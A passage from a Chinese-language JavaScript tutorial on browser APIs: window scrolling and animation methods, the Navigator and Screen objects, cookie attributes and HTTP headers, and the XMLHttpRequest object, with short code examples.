* `top`：滚动后页面左上角的垂直坐标，即 y 坐标。
* `left`：滚动后页面左上角的水平坐标，即 x 坐标。
* `behavior`：字符串，表示滚动的方式，有三个可能值（`smooth`、`instant`、`auto`），默认值为`auto`。

```js
window.scrollTo({
  top: 1000,
  behavior: 'smooth'
});
```

#### window.scroll()

`window.scroll()`方法是`window.scrollTo()`方法的别名。

#### window.scrollBy()

`window.scrollBy()`方法用于将网页滚动指定距离（单位像素）。它接受两个参数：水平向右滚动的像素，垂直向下滚动的像素。

```js
window.scrollBy(0, window.innerHeight)
```

上面代码用于将网页向下滚动一屏。

如果不是要滚动整个文档，而是要滚动某个元素，可以使用下面三个属性和方法。

* Element.scrollTop
* Element.scrollLeft
* Element.scrollIntoView()

#### window.print()

`window.print`方法会跳出打印对话框，与用户点击菜单里面的“打印”命令效果相同。

#### window.focus()

`window.focus()`方法会激活窗口，使其获得焦点，出现在其他窗口的前面。

#### window.blur()

`window.blur()`方法将焦点从窗口移除。

#### window.getSelection()

`window.getSelection`方法返回一个`Selection`对象，表示用户现在选中的文本。

使用`Selection`对象的`toString`方法可以得到选中的文本。

```js
window.getSelection().toString()
```

#### window.getComputedStyle()

`window.getComputedStyle()`方法接受一个元素节点作为参数，返回一个包含该元素的最终样式信息的对象

#### window.matchMedia()

`window.matchMedia()`方法用来检查 CSS 的`mediaQuery`语句

#### window.requestAnimationFrame()

`window.requestAnimationFrame()`方法跟`setTimeout`类似，都是推迟某个函数的执行。

不同之处在于，`setTimeout`必须指定推迟的时间，`window.requestAnimationFrame()`则是推迟到浏览器下一次重流时执行，执行完才会进行下一次重绘。

重绘通常是 16ms 执行一次，不过浏览器会自动调节这个速率，比如网页切换到后台 Tab 页时，`requestAnimationFrame()`会暂停执行。

如果某个函数会改变网页的布局，一般就放在`window.requestAnimationFrame()`里面执行，这样可以节省系统资源，使得网页效果更加平滑。

因为慢速设备会用较慢的速率重流和重绘，而速度更快的设备会有更快的速率。

该方法接受一个回调函数作为参数。

```js
window.requestAnimationFrame(callback)
```

上面代码中，`callback`是一个回调函数。`callback`执行时，它的参数就是系统传入的一个高精度时间戳（`performance.now()`的返回值），单位是毫秒，表示距离网页加载的时间。

`window.requestAnimationFrame()`的返回值是一个整数，这个整数可以传入`window.cancelAnimationFrame()`，用来取消回调函数的执行。

下面是一个`window.requestAnimationFrame()`执行网页动画的例子。

```js
var element = document.getElementById('animate');
element.style.position = 'absolute';

var start = null;

function step(timestamp) {
  if (!start) start = timestamp;
  var progress = timestamp - start;
  // 元素不断向右移，最大不超过200像素
  element.style.left = Math.min(progress / 10, 200) + 'px';
  // 如果距离第一次执行不超过 2000 毫秒，
  // 就继续执行动画
  if (progress < 2000) {
    window.requestAnimationFrame(step);
  }
}

window.requestAnimationFrame(step);
```

上面代码定义了一个网页动画，持续时间是2秒，会让元素向右移动。

#### window.requestIdleCallback()

`window.requestIdleCallback()`跟`setTimeout`类似，也是将某个函数推迟执行，但是它保证将回调函数推迟到系统资源空闲时执行。

也就是说，如果某个任务不是很关键，就可以使用`window.requestIdleCallback()`将其推迟执行，以保证网页性能。

它跟`window.requestAnimationFrame()`的区别在于，后者指定回调函数在下一次浏览器重排时执行，问题在于下一次重排时，系统资源未必空闲，不一定能保证在16毫秒之内完成；`window.requestIdleCallback()`可以保证回调函数在系统资源空闲时执行。

该方法接受一个回调函数和一个配置对象作为参数。配置对象可以指定一个推迟执行的最长时间，如果过了这个时间，回调函数不管系统资源有无空闲，都会执行。

```js
window.requestIdleCallback(callback[, options])
```

`callback`参数是一个回调函数。该回调函数执行时，系统会传入一个`IdleDeadline`对象作为参数。`IdleDeadline`对象有一个`didTimeout`属性（布尔值，表示是否为超时调用）和一个`timeRemaining()`方法（返回该空闲时段剩余的毫秒数）。

`options`参数是一个配置对象，目前只有`timeout`一个属性，用来指定回调函数推迟执行的最大毫秒数。该参数可选。

`window.requestIdleCallback()`方法返回一个整数。该整数可以传入`window.cancelIdleCallback()`取消回调函数。

## Navigator 对象

`window.navigator`属性指向一个包含浏览器和系统信息的 Navigator 对象。脚本通过这个属性了解用户的环境信息。

### 属性

#### Navigator.userAgent

`navigator.userAgent`属性返回浏览器的 User Agent 字符串，表示用户设备信息，包含了浏览器的厂商、版本、操作系统等信息。

```js
navigator.userAgent
// 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36'
```

**识别手机浏览器**:

```js
var ua = navigator.userAgent.toLowerCase();

if (/mobi/.test(ua)) {
  // 手机浏览器
} else {
  // 非手机浏览器
}
```

如果想要识别所有移动设备的浏览器，可以测试更多的特征字符串。

```js
/mobi|android|touch|mini/.test(ua)
```

#### Navigator.plugins

`Navigator.plugins`属性返回一个类似数组的对象，成员是 Plugin 实例对象，表示浏览器安装的插件，比如 Flash、ActiveX 等。

#### Navigator.platform

`Navigator.platform`属性返回用户的操作系统信息，比如`MacIntel`、`Win32`、`Linux x86_64`等 。

#### Navigator.onLine

`navigator.onLine`属性返回一个布尔值，表示用户当前在线还是离线（浏览器断线）。

有时，浏览器可以连接局域网，但是局域网不能连通外网。这时，有的浏览器的`onLine`属性会返回`true`，所以不能假定只要是`true`，用户就一定能访问互联网。不过，如果是`false`，可以断定用户一定离线。

用户变成在线会触发`online`事件，变成离线会触发`offline`事件，可以通过`window.ononline`和`window.onoffline`指定这两个事件的回调函数。

```js
window.addEventListener('offline', function(e) { console.log('offline'); });
window.addEventListener('online', function(e) { console.log('online'); });
```

#### Navigator.language

`Navigator.language`属性返回一个字符串，表示浏览器的首选语言。该属性只读。

#### Navigator.languages

`Navigator.languages`属性返回一个数组，表示用户可以接受的语言。

`Navigator.language`总是这个数组的第一个成员。HTTP 请求头信息的`Accept-Language`字段，就来自这个数组。

如果这个属性发生变化，就会在`window`对象上触发`languagechange`事件。

#### Navigator.geolocation

`Navigator.geolocation`属性返回一个 Geolocation 对象，包含用户地理位置的信息。注意，该 API 只有在 HTTPS 协议下可用，否则调用下面方法时会报错。

Geolocation 对象提供下面三个方法。

* Geolocation.getCurrentPosition()：得到用户的当前位置
* Geolocation.watchPosition()：监听用户位置变化
* Geolocation.clearWatch()：取消`watchPosition()`方法指定的监听函数

注意，调用这三个方法时，浏览器会跳出一个对话框，要求用户给予授权。

#### Navigator.cookieEnabled

`navigator.cookieEnabled`属性返回一个布尔值，表示浏览器的 Cookie 功能是否打开。

### 方法

#### Navigator.javaEnabled()

`navigator.javaEnabled()`方法返回一个布尔值，表示浏览器是否能运行 Java Applet 小程序。

#### Navigator.sendBeacon()

`Navigator.sendBeacon()`方法用于向服务器异步发送数据。

### 实验性属性

Navigator 对象有一些实验性属性，在部分浏览器可用。

#### Navigator.deviceMemory

`navigator.deviceMemory`属性返回当前计算机的内存数量（单位为 GB）。该属性只读，只在 HTTPS 环境下可用。

它的返回值是一个近似值，四舍五入到最接近的2的幂，通常是 0.25、0.5、1、2、4、8。实际内存超过 8GB，也返回`8`。

```js
if (navigator.deviceMemory > 1) {
  await import('./costly-module.js');
}
```

上面示例中，只有当前内存大于 1GB，才加载大型的脚本。

#### Navigator.hardwareConcurrency

`navigator.hardwareConcurrency`属性返回用户计算机上可用的逻辑处理器的数量。该属性只读。

现代计算机的 CPU 有多个物理核心，每个物理核心有时支持一次运行多个线程。因此，四核 CPU 可以提供八个逻辑处理器核心。

可用于判断是否加载大型脚本。

该属性通过用于创建 Web Worker，每个可用的逻辑处理器都创建一个 Worker。

```js
let workerList = [];

for (let i = 0; i < window.navigator.hardwareConcurrency; i++) {
  let newWorker = {
    worker: new Worker('cpuworker.js'),
    inUse: false
  };
  workerList.push(newWorker);
}
```

上面示例中，有多少个可用的逻辑处理器，就创建多少个 Web Worker。

#### Navigator.connection

`navigator.connection`属性返回一个对象，包含当前网络连接的相关信息。

* downlink：有效带宽估计值（单位：兆比特/秒，Mbps），四舍五入到每秒 25KB 的最接近倍数。
* downlinkMax：当前连接的最大下行链路速度（单位：兆比特每秒，Mbps）。
* effectiveType：返回连接的等效类型，可能的值为`slow-2g`、`2g`、`3g`、`4g`。
* rtt：当前连接的估计有效往返时间，四舍五入到最接近的25毫秒的倍数。
* saveData：用户是否设置了浏览器的减少数据使用量选项（比如不加载图片），返回`true`或者`false`。
* type：当前连接的介质类型，可能的值为`bluetooth`、`cellular`、`ethernet`、`none`、`wifi`、`wimax`、`other`、`unknown`。

## Screen 对象

Screen 对象表示当前窗口所在的屏幕，提供显示设备的信息。`window.screen`属性指向这个对象。

该对象有下面的属性。

* `Screen.height`：浏览器窗口所在的屏幕的高度（单位像素）。除非调整显示器的分辨率，否则这个值可以看作常量，不会发生变化。显示器的分辨率与浏览器设置无关，缩放网页并不会改变分辨率。
* `Screen.width`：浏览器窗口所在的屏幕的宽度（单位像素）。
* `Screen.availHeight`：浏览器窗口可用的屏幕高度（单位像素）。因为部分空间可能不可用，比如系统的任务栏或者 Mac 系统屏幕底部的 Dock 区，这个属性等于`height`减去那些被系统组件的高度。
* `Screen.availWidth`：浏览器窗口可用的屏幕宽度（单位像素）。
* `Screen.pixelDepth`：整数，表示屏幕的色彩位数，比如`24`表示屏幕提供24位色彩。
* `Screen.colorDepth`：`Screen.pixelDepth`的别名。严格地说，colorDepth 表示应用程序的颜色深度，pixelDepth 表示屏幕的颜色深度，绝大多数情况下，它们都是同一件事。
* `Screen.orientation`：返回一个对象，表示屏幕的方向。该对象的`type`属性是一个字符串，表示屏幕的具体方向，`landscape-primary`表示横放，`landscape-secondary`表示颠倒的横放，`portrait-primary`表示竖放，`portrait-secondary`表示颠倒的竖放。

```js
if (window.screen.width >= 1024 && window.screen.height >= 768) {
  // 分辨率不低于 1024x768
}
```

根据屏幕的宽度，将用户导向不同网页的代码。

```js
if ((screen.width <= 800) && (screen.height <= 600)) {
  window.location.replace('small.html');
} else {
  window.location.replace('wide.html');
}
```

## Cookie

### 概述

Cookie 是服务器保存在浏览器的一小段文本信息，一般大小不能超过4KB。浏览器每次向服务器发出请求，就会自动附上这段信息。

HTTP 协议不带有状态，有些请求需要区分状态，就通过 Cookie 附带字符串，让服务器返回不一样的回应。举例来说，用户登录以后，服务器往往会在网站上留下一个 Cookie，记录用户编号（比如`id=1234`），以后每次浏览器向服务器请求数据，就会带上这个字符串，服务器从而知道是谁在请求，应该回应什么内容。

Cookie 的目的就是区分用户，以及放置状态信息，它的使用场景主要如下。

* 对话（session）管理：保存登录状态、购物车等需要记录的信息。
* 个性化信息：保存用户的偏好，比如网页的字体大小、背景色等等。
* 追踪用户：记录和分析用户行为。

Cookie 不是一种理想的客户端存储机制。它的容量很小（4KB），缺乏数据操作接口，而且会影响性能。客户端存储建议使用 Web storage API 和 IndexedDB。**只有那些每次请求都需要让服务器知道的信息，才应该放在 Cookie 里面。**

每个 Cookie 都有以下几方面的元数据。

* Cookie 的名字
* Cookie 的值（真正的数据写在这里面）
* 到期时间（超过这个时间会失效）
* 所属域名（默认为当前域名）
* 生效的路径（默认为当前网址）

举例来说，用户访问网址`www.example.com`，服务器在浏览器写入一个 Cookie。这个 Cookie 的所属域名为`www.example.com`，生效路径为根路径`/`。

如果 Cookie 的生效路径设为`/forums`，那么这个 Cookie 只有在访问`www.example.com/forums`及其子路径时才有效。

以后，浏览器访问某个路径之前，就会找出对该域名和路径有效，并且还没有到期的 Cookie，一起发送给服务器。

用户可以设置浏览器不接受 Cookie，也可以设置不向服务器发送 Cookie。

`window.navigator.cookieEnabled`属性返回一个布尔值，表示浏览器是否打开 Cookie 功能。

`document.cookie`属性返回当前网页的 Cookie。

```js
window.navigator.cookieEnabled // true
document.cookie // "id=foo;key=bar"
```

不同浏览器对 Cookie 数量和大小的限制，是不一样的。一般来说，单个域名设置的 Cookie 不应超过30个，每个 Cookie 的大小不能超过 4KB。超过限制以后，Cookie 将被忽略，不会被设置。

Cookie 是按照域名区分的，`foo.com`只能读取自己放置的 Cookie，无法读取其他网站（比如`bar.com`）放置的 Cookie。

一般情况下，一级域名也不能读取二级域名留下的 Cookie，比如`mydomain.com`不能读取`subdomain.mydomain.com`设置的 Cookie。

但是有一个例外，设置 Cookie 的时候（不管是一级域名设置的，还是二级域名设置的），明确将`domain`属性设为一级域名，则这个域名下面的各级域名可以共享这个 Cookie。

```http
Set-Cookie: name=value; domain=mydomain.com
```

上面示例中，设置 Cookie 时，`domain`属性设为`mydomain.com`，那么各级的子域名和一级域名都可以读取这个 Cookie。

注意，区分 Cookie 时不考虑协议和端口。也就是说，`http://example.com`设置的 Cookie，可以被`https://example.com`或`http://example.com:8080`读取。

### Cookie & HTTP

Cookie 由 HTTP 协议生成，也主要是供 HTTP 协议使用。

#### 回应 & 生成

服务器如果希望在浏览器保存 Cookie，就要在 HTTP 回应的头信息里面，放置一个`Set-Cookie`字段。

```http
Set-Cookie:foo=bar
```

上面代码会在浏览器保存一个名为`foo`的 Cookie，它的值为`bar`。

HTTP 回应可以包含多个`Set-Cookie`字段，即在浏览器生成多个 Cookie。下面是一个例子。

```http
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]
```

除了 Cookie 的值，`Set-Cookie`字段还可以附加 Cookie 的属性。

```http
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
```

一个`Set-Cookie`字段里面，可以同时包括多个属性，没有次序的要求。

```http
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
```

**例子**:

```http
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
```

如果服务器想改变一个早先设置的 Cookie，必须同时满足四个条件：Cookie 的`key`、`domain`、`path`和`secure`都匹配。

举例来说，如果原始的 Cookie 是用如下的`Set-Cookie`设置的。

```http
Set-Cookie: key1=value1; domain=example.com; path=/blog
```

改变上面这个 Cookie 的值，就必须使用同样的`Set-Cookie`。

```http
Set-Cookie: key1=value2; domain=example.com; path=/blog
```

只要有一个属性不同，就会生成一个全新的 Cookie，而不是替换掉原来那个 Cookie。

```http
Set-Cookie: key1=value2; domain=example.com; path=/
```

上面的命令设置了一个全新的同名 Cookie，但是`path`属性不一样。下一次访问`example.com/blog`的时候，浏览器将向服务器发送两个同名的 Cookie。

#### 请求 & 发送

浏览器向服务器发送 HTTP 请求时，每个请求都会带上相应的 Cookie。

也就是说，把服务器早前保存在浏览器的这段信息，再发回服务器。这时要使用 HTTP 头信息的`Cookie`字段。

```http
Cookie: foo=bar
```

上面代码会向服务器发送名为`foo`的 Cookie，值为`bar`。

`Cookie`字段可以包含多个 Cookie，使用分号（`;`）分隔。

```http
Cookie: name=value; name2=value2; name3=value3
```

下面是一个例子。

```http
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
```

服务器收到浏览器发来的 Cookie 时，有两点是无法知道的。

* Cookie 的各种属性，比如何时过期。
* 哪个域名设置的 Cookie，到底是一级域名设的，还是某一个二级域名设的。

### Cookie 的属性

#### Expires

`Expires`属性指定一个具体的到期时间，到了指定时间以后，浏览器就不再保留这个 Cookie。它的值是 UTC 格式，可以使用`Date.prototype.toUTCString()`进行格式转换。

如果不设置该属性，或者设为`null`，Cookie 只在当前会话（session）有效，浏览器窗口一旦关闭，当前 Session 结束，该 Cookie 就会被删除。

#### Max-Age

`Max-Age`属性指定从现在开始 Cookie 存在的秒数，比如`60 * 60 * 24 * 365`（即一年）。过了这个时间以后，浏览器就不再保留这个 Cookie。

如果同时指定了`Expires`和`Max-Age`，那么`Max-Age`的值将优先生效。

#### Domain

`Domain`属性指定 Cookie 属于哪个域名，以后浏览器向服务器发送 HTTP 请求时，通过这个属性判断是否要附带某个 Cookie。

#### Path

`Path`属性指定浏览器发出 HTTP 请求时，哪些路径要附带这个 Cookie。

#### Secure

`Secure`属性指定浏览器只有在加密协议 HTTPS 下，才能将这个 Cookie 发送到服务器。

#### HttpOnly

`HttpOnly`属性指定该 Cookie 无法通过 JavaScript 脚本拿到，主要是`document.cookie`属性、`XMLHttpRequest`对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到，只有浏览器发出 HTTP 请求时，才会带上该 Cookie。

#### SameSite

Chrome 51 开始，浏览器的 Cookie 新增加了一个`SameSite`属性，用来防止 CSRF 攻击和用户追踪。

Cookie 往往用来存储用户的身份信息，恶意网站可以设法伪造带有正确 Cookie 的 HTTP 请求，这就是 CSRF 攻击。

### document.cookie

`document.cookie`属性用于读写当前网页的 Cookie。

读取的时候，它会返回当前网页的所有 Cookie，前提是该 Cookie 不能有`HTTPOnly`属性。

---

---
url: /js/c1una9pp/index.md
---
# BOM 中
## XMLHttpRequest 对象

浏览器与服务器之间，采用 HTTP 协议通信。用户在浏览器地址栏键入一个网址，或者通过网页表单向服务器提交内容，这时浏览器就会向服务器发出 HTTP 请求。

JavaScript 脚本向服务器发起 HTTP 请求。AJAX 这个词第一次正式提出，它是 Asynchronous JavaScript and XML 的缩写，指的是通过 JavaScript 的异步通信，从服务器获取 XML 文档从中提取数据，再更新当前网页的对应部分，而不用刷新整个网页。

后来，AJAX 这个词就成为 JavaScript 脚本发起 HTTP 通信的代名词，也就是说，只要用脚本发起通信，就可以叫做 AJAX 通信。

概括起来，就是一句话，AJAX 通过原生的`XMLHttpRequest`对象发出 HTTP 请求，得到服务器返回的数据后，再进行处理。

现在，服务器返回的都是 JSON 格式的数据，XML 格式已经过时了，但是 AJAX 这个名字已经成了一个通用名词，字面含义已经消失了。

`XMLHttpRequest`对象是 AJAX 的主要接口，用于浏览器与服务器之间的通信。尽管名字里面有`XML`和`Http`，它实际上可以使用多种协议（比如`file`或`ftp`），发送任何格式的数据（包括字符串和二进制）。

`XMLHttpRequest`本身是一个构造函数，可以使用`new`命令生成实例。它没有任何参数。

```js
var xhr = new XMLHttpRequest();
```

一旦新建实例，就可以使用`open()`方法指定建立 HTTP 连接的一些细节。

```js
xhr.open('GET', 'http://www.example.com/page.php', true);
```

上面代码指定使用 GET 方法，跟指定的服务器网址建立连接。第三个参数`true`，表示请求是异步的。

然后，指定回调函数，监听通信状态（`readyState`属性）的变化。

```js
xhr.onreadystatechange = handleStateChange;

function handleStateChange() {
  // ...
}
```

上面代码中，一旦`XMLHttpRequest`实例的状态发生变化，就会调用监听函数`handleStateChange`

最后使用`send()`方法，实际发出请求。

```js
xhr.send(null);
```

上面代码中，`send()`的参数为`null`，表示发送请求的时候，不带有数据体。如果发送的是 POST 请求，这里就需要指定数据体。

一旦拿到服务器返回的数据，AJAX 不会刷新整个网页，而是只更新网页里面的相关部分，从而不打断用户正在做的事情。

**注意**，AJAX 只能向**同源网址**（协议、域名、端口都相同）发出 HTTP 请求，如果发出跨域请求，就会报错。

下面是`XMLHttpRequest`对象简单用法的完整例子：

```js
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function(){
  // 通信成功时，状态值为4
  if (xhr.readyState === 4){
    if (xhr.status === 200){
      console.log(xhr.responseText);
    } else {
      console.error(xhr.statusText);
    }
  }
};

xhr.onerror = function (e) {
  console.error(xhr.statusText);
};

xhr.open('GET', '/endpoint', true);
xhr.send(null);
```

### 实例属性

#### XMLHttpRequest.readyState

`XMLHttpRequest.readyState`返回一个整数，表示实例对象的当前状态。该属性只读。它可能返回以下值。

* 0，表示 XMLHttpRequest 实例已经生成，但是实例的`open()`方法还没有被调用。
* 1，表示`open()`方法已经调用，但是实例的`send()`方法还没有调用，仍然可以使用实例的`setRequestHeader()`方法，设定 HTTP 请求的头信息。
* 2，表示实例的`send()`方法已经调用，并且服务器返回的头信息和状态码已经收到。
* 3，表示正在接收服务器传来的数据体（body 部分）。这时，如果实例的`responseType`属性等于`text`或者空字符串，`responseText`属性就会包含已经收到的部分信息。
* 4，表示服务器返回的数据已经完全接收，或者本次接收已经失败。

通信过程中，每当实例对象发生状态变化，它的`readyState`属性的值就会改变。这个值每一次变化，都会触发`readyStateChange`事件。

```js
if (xhr.readyState === 4) {
  // ...
} else {
  // ...
}
```

#### XMLHttpRequest.onreadystatechange

`XMLHttpRequest.onreadystatechange`属性指向一个监听函数。`readystatechange`事件发生时（实例的`readyState`属性变化），就会执行这个属性。

另外，如果使用实例的`abort()`方法，终止 XMLHttpRequest 请求，也会造成`readyState`属性变化，导致调用`XMLHttpRequest.onreadystatechange`属性。

```js
xhr.onreadystatechange = function () {
  if (xhr.readyState !== 4 || xhr.status !== 200) {
    return;
  }
```

#### XMLHttpRequest.response

`XMLHttpRequest.response`属性表示服务器返回的数据体（即 HTTP 回应的 body 部分）。

它可能是任何数据类型，比如字符串、对象、二进制对象等等，具体的类型由`XMLHttpRequest.responseType`属性决定。该属性只读。

如果本次请求没有成功或者数据不完整，该属性等于`null`。但是，如果`responseType`属性等于`text`或空字符串，在请求没有结束之前（`readyState`等于3的阶段），`response`属性包含服务器已经返回的部分数据。

#### XMLHttpRequest.responseType

`XMLHttpRequest.responseType`属性是一个字符串，表示服务器返回数据的类型。

这个属性是可写的，可以在调用`open()`方法之后、调用`send()`方法之前，设置这个属性的值，告诉浏览器如何解读返回的数据。如果`responseType`设为空字符串，就等同于默认值`text`。

`XMLHttpRequest.responseType`属性可以等于以下值。

* ""（空字符串）：等同于`text`，表示服务器返回文本数据。
* "arraybuffer"：ArrayBuffer 对象，表示服务器返回二进制数组。
* "blob"：Blob 对象，表示服务器返回二进制对象。
* "document"：Document 对象，表示服务器返回一个文档对象。
* "json"：JSON 对象。
* "text"：字符串。

#### XMLHttpRequest.responseText

`XMLHttpRequest.responseText`属性返回从服务器接收到的字符串，该属性为只读。只有 HTTP 请求完成接收以后，该属性才会包含完整的数据。

#### XMLHttpRequest.responseXML

`XMLHttpRequest.responseXML`属性返回从服务器接收到的 HTML 或 XML 文档对象，该属性为只读。如果本次请求没有成功，或者收到的数据不能被解析为 XML 或 HTML，该属性等于`null`。

#### XMLHttpRequest.responseURL

`XMLHttpRequest.responseURL`属性是字符串，表示发送数据的服务器的网址。

注意，这个属性的值与`open()`方法指定的请求网址不一定相同。如果服务器端发生跳转，这个属性返回最后实际返回数据的网址。另外，如果原始 URL 包括锚点（fragment），该属性会把锚点剥离。

#### XMLHttpRequest.status

`XMLHttpRequest.status`属性返回一个整数，表示服务器回应的 HTTP 状态码。

一般来说，如果通信成功的话，这个状态码是200；如果服务器没有返回状态码，那么这个属性默认是200。请求发出之前，该属性为`0`。该属性只读。

##### HTTP状态码

| HTTP 状态码 | 状态描述              | 含义           |
| ----------- | --------------------- | -------------- |
| 200         | OK                    | 访问正常       |
| 301         | Moved Permanently     | 永久移动       |
| 302         | Moved temporarily     | 暂时移动       |
| 304         | Not Modified          | 未修改         |
| 307         | Temporary Redirect    | 暂时重定向     |
| 401         | Unauthorized          | 未授权         |
| 403         | Forbidden             | 禁止访问       |
| 404         | Not Found             | 未发现指定网址 |
| 500         | Internal Server Error | 服务器发生错误 |

基本上，只有2xx和304的状态码，表示服务器返回是正常状态。

```js
if (xhr.readyState === 4) {
  if ( (xhr.status >= 200 && xhr.status < 300)
    || (xhr.status === 304) ) {
    // 处理服务器的返回数据
  } else {
    // 出错
  }
}
```

#### XMLHttpRequest.statusText

`XMLHttpRequest.statusText`属性返回一个字符串，表示服务器发送的状态提示。不同于`status`属性，该属性包含整个状态信息，比如“OK”和“Not Found”。

#### XMLHttpRequest.timeout

`XMLHttpRequest.timeout`属性返回一个整数，表示多少毫秒后，如果请求仍然没有得到结果，就会自动终止。如果该属性等于0，就表示没有时间限制。

#### XMLHttpRequestEventTarget.ontimeout

`XMLHttpRequestEventTarget.ontimeout`属性用于设置一个监听函数，如果发生 timeout 事件，就会执行这个监听函数。

```js
xhr.timeout = 10 * 1000; // 指定 10 秒钟超时
xhr.ontimeout = function () {
  console.error('The request timed out.');
};
```

### 事件监听

XMLHttpRequest 对象可以对以下事件指定监听函数。

* XMLHttpRequest.onloadstart：loadstart 事件（HTTP 请求发出）的监听函数
* XMLHttpRequest.onprogress：progress事件（正在发送和加载数据）的监听函数
* XMLHttpRequest.onabort：abort 事件（请求中止，比如用户调用了`abort()`方法）的监听函数
* XMLHttpRequest.onerror：error 事件（请求失败）的监听函数
* XMLHttpRequest.onload：load 事件（请求成功完成）的监听函数
* XMLHttpRequest.ontimeout：timeout 事件（用户指定的时限超过了，请求还未完成）的监听函数
* XMLHttpRequest.onloadend：loadend 事件（请求完成，不管成功或失败）的监听函数

```js
xhr.onprogress = function (event) {
  console.log(event.loaded);
  console.log(event.total);
};
```

`progress`事件的监听函数有一个事件对象参数，该对象有三个属性：`loaded`属性返回已经传输的数据量，`total`属性返回总的数据量，`lengthComputable`属性返回一个布尔值，表示加载的进度是否可以计算。

所有这些监听函数里面，只有`progress`事件的监听函数有参数，其他函数都没有参数。

注意，如果发生网络错误（比如服务器无法连通），`onerror`事件无法获取报错信息。也就是说，可能没有错误对象，所以这样只能显示报错的提示。

### XMLHttpRequest.withCredentials

`XMLHttpRequest.withCredentials`属性是一个布尔值，表示跨域请求时，用户信息（比如 Cookie 和认证的 HTTP 头信息）是否会包含在请求之中，默认为`false`，即向`example.com`发出跨域请求时，不会发送`example.com`设置在本机上的 Cookie（如果有的话）。

如果需要跨域 AJAX 请求发送 Cookie，需要`withCredentials`属性设为`true`。注意，同源的请求不需要设置这个属性。

### XMLHttpRequest.upload

XMLHttpRequest 不仅可以发送请求，还可以发送文件，这就是 AJAX 文件上传。

发送文件以后，通过`XMLHttpRequest.upload`属性可以得到一个对象，通过观察这个对象，可以得知上传的进展。

主要方法就是监听这个对象的各种事件：loadstart、loadend、load、abort、error、progress、timeout。

文件上传时，对`upload`属性指定`progress`事件的监听函数，即可获得上传的进度。

```js
// <progress min="0" max="100" value="0">0% complete</progress>

function upload(blobOrFile) {
  var xhr = new XMLHttpRequest();
  xhr.open('POST', '/server', true);
  xhr.onload = function (e) {};

  var progressBar = document.querySelector('progress');
  xhr.upload.onprogress = function (e) {
    if (e.lengthComputable) {
      progressBar.value = (e.loaded / e.total) * 100;
      // 兼容不支持 <progress> 元素的老式浏览器
      progressBar.textContent = progressBar.value;
    }
  };

  xhr.send(blobOrFile);
}

upload(new Blob(['hello world'], {type: 'text/plain'}));
```

### 实例方法

#### XMLHttpRequest.open()

`XMLHttpRequest.open()`方法用于指定 HTTP 请求的参数，或者说初始化 XMLHttpRequest 实例对象。它一共可以接受五个参数。

```js
void open(
   string method,
   string url,
   optional boolean async,
   optional string user,
   optional string password
);
```

* `method`：表示 HTTP 动词方法，比如`GET`、`POST`、`PUT`、`DELETE`、`HEAD`等。
* `url`: 表示请求发送目标 URL。
* `async`: 布尔值，表示请求是否为异步，默认为`true`。如果设为`false`，则`send()`方法只有等到收到服务器返回了结果，才会进行下一步操作。该参数可选。由于同步 AJAX 请求会造成浏览器失去响应，许多浏览器已经禁止在主线程使用，只允许 Worker 里面使用。所以，这个参数轻易不应该设为`false`。
* `user`：表示用于认证的用户名，默认为空字符串。该参数可选。
* `password`：表示用于认证的密码，默认为空字符串。该参数可选。

注意，如果对使用过`open()`方法的 AJAX 请求，再次使用这个方法，等同于调用`abort()`，即终止请求。

#### XMLHttpRequest.send()

`XMLHttpRequest.send()`方法用于实际发出 HTTP 请求。它的参数是可选的，如果不带参数，就表示 HTTP 请求只有一个 URL，没有数据体，典型例子就是 GET 请求；如果带有参数，就表示除了头信息，还带有包含具体数据的信息体，典型例子就是 POST 请求。

```js
var xhr = new XMLHttpRequest();
var data = 'email='
  + encodeURIComponent(email)
  + '&password='
  + encodeURIComponent(password);

xhr.open('POST', 'http://www.example.com', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(data);
```

注意，所有 XMLHttpRequest 的监听事件，都必须在`send()`方法调用之前设定。

`send`方法的参数就是发送的数据。多种格式的数据，都可以作为它的参数。

```js
var formData = new FormData();

formData.append('username', '张三');
formData.append('email', 'zhangsan@example.com');
formData.append('birthDate', 1940);

var xhr = new XMLHttpRequest();
xhr.open('POST', '/register');
xhr.send(formData);
```

`FormData`对象可以用于构造表单数据。它的效果与发送下面的表单数据是一样的。

```html
<form id='registration' name='registration' action='/register'>
  <input type='text' name='username' value='张三'>
  <input type='email' name='email' value='zhangsan@example.com'>
  <input type='number' name='birthDate' value='1940'>
  <input type='submit' onclick='return sendForm(this.form);'>
</form>
```

#### XMLHttpRequest.setRequestHeader()

`XMLHttpRequest.setRequestHeader()`方法用于设置浏览器发送的 HTTP 请求的头信息。

该方法必须在`open()`之后、`send()`之前调用。如果该方法多次调用，设定同一个字段，则每一次调用的值会被合并成一个单一的值发送。

该方法接受两个参数。第一个参数是字符串，表示头信息的字段名，第二个参数是字段值。

```js
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.setRequestHeader('Content-Length', JSON.stringify(data).length);
xhr.send(JSON.stringify(data));
```

上面代码首先设置头信息`Content-Type`，表示发送 JSON 格式的数据；然后设置`Content-Length`，表示数据长度；最后发送 JSON 数据

#### XMLHttpRequest.overrideMimeType()

`XMLHttpRequest.overrideMimeType()`方法用来指定 MIME 类型，覆盖服务器返回的真正的 MIME 类型，从而让浏览器进行不一样的处理。

举例来说，服务器返回的数据类型是`text/xml`，由于种种原因浏览器解析不成功报错，这时就拿不到数据了。为了拿到原始数据，我们可以把 MIME 类型改成`text/plain`，这样浏览器就不会去自动解析，从而我们就可以拿到原始文本了。

```js
